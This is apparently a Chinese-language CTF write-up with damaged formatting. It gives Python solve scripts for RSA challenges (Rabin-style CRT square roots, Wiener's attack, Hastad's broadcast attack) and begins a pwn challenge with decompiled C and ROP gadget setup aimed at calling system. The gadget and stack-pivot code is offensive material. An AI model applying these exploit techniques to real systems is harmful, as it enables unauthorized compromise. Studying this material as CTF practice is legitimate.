from sympy.ntheory.modular import crt from Crypto.Util.number import long_to_bytes as l2b p = 78618122415698687727251078451109145440294587931348076166411625157290336194323 q = 70068194590650872266570572115266810127933946443699670783141720130585522796679 c = 23826347738176 n = p * q mp = pow(c, (p + 1) // 4, p) mq = pow(c, (q + 1) // 4, q) for a in (mp, p - mp): for b in (mq, q - mq): x = int(crt([p, q], [a, b])[0]) print(l2b(x))
from Crypto.Util.number import long_to_bytes as l2b from gmpy2 import isqrt n = 7297717526980528803416151454296405543230501769792380224675788523837314043127326139076479288035857949142724168362589486899807096653717101268027396129754087 e = 983811702816974382973246581428198957793880120537552344799328942701778206113546592340385294586917077106490499330586393966740719479436824552594359051268947 c = 1403121770503832384963635118647377948005021775505670157212968759139769785924044936766749890516337665028344892741458301995617829694653904346225542682489494
defcontinued_fraction(num, den): while den: a = num // den yield a num, den = den, num - a * den
defwiener_attack(e, n): p_nm2, p_nm1 = 0, 1 q_nm2, q_nm1 = 1, 0 for a in continued_fraction(e, n): k = a * p_nm1 + p_nm2 d = a * q_nm1 + q_nm2 p_nm2, p_nm1 = p_nm1, k q_nm2, q_nm1 = q_nm1, d if k == 0or (e * d - 1) % k: continue phi = (e * d - 1) // k s = n - phi + 1 disc = s * s - 4 * n if disc < 0: continue t = isqrt(disc) if t * t == disc and (s + t) % 2 == 0: returnint(d)
d = wiener_attack(e, n) print(l2b(pow(c, d, n)))
# 有一种熟悉的感觉...
至此也可知:破解 RSA 有两条路:
绕过 d (01 to 03)
搞出 d (04 ...)
05_hastad_broadcast.py
1 2
e = 3 # 把 m 用 3 组不同的 n 加密,得到 c_1, c_2, c_3
这就是“广播(broadcast)”。现在我们可以用中国剩余定理把三组同余式合一:
1 2 3
X ≡ c_1 (mod n_1) X ≡ c_2 (mod n_2) X ≡ c_3 (mod n_3)
因为 m**3 < n_1·n_2·n_3,合成结果 X = m**3(没回绕),直接开三次方:
1 2 3
X = int(crt(ns, cs)[0]) # sympy.ntheory.modular.crt,参数为 (模数表, 余数表) r, exact = gmpy2.iroot(X, 3) m = int(r)
No PIE + No Canary + NX + Partial RELRO,非常标准的堆栈溢出。
用 IDA 打开,main / filter / vuln 三个函数看下来:
main 的逻辑大概是:
1 2 3 4 5 6 7 8 9 10 11
setbuf(stdout, NULL); puts("~ murasame's guestbook ~\n~ rumor has it: the back of murasame's draft hides a more elegant path ~"); puts("[*] sanitizer: blocking byte 0x65"); puts("who are you?"); long n = read(0, name, 0x1f); if (n <= 0) return0; filter(name, n); // 第二个参数是 read 的返回值 while (1) { gate_ticket = 0x5a5a5a5a5a5a5a5a; // 每次进循环都重新设好 vuln(); }
(我说 AI 是很强很强的反编译器有没有懂的)
filter:
1 2 3 4 5 6 7
voidfilter(char *s, long n) { for (long i = 0; i < n; i++) if (s[i] == 0x65) { // 0x65 = 'e' puts("[!] badchar detected"); _exit(1); } }
# 出题人藏在 legacy_abi_shimX 里的 gadget # (+4 是为了跳过函数最开头的 endbr64,直接落在 pop 那条指令上) pop_rdi = elf.sym["legacy_abi_shim"] + 4# pop rdi; ret pop_rsi = elf.sym["legacy_abi_shim2"] + 4# pop rsi; ret pop_rdx = elf.sym["legacy_abi_shim3"] + 4# pop rdx; ret
# leave_ret / ret,也可以直接填 vuln() 里查到的 leave_ret = rop.find_gadget(["leave", "ret"])[0] # 栈迁移用 ret = rop.find_gadget(["ret"])[0] # system 前垫一个,做 16 字节对齐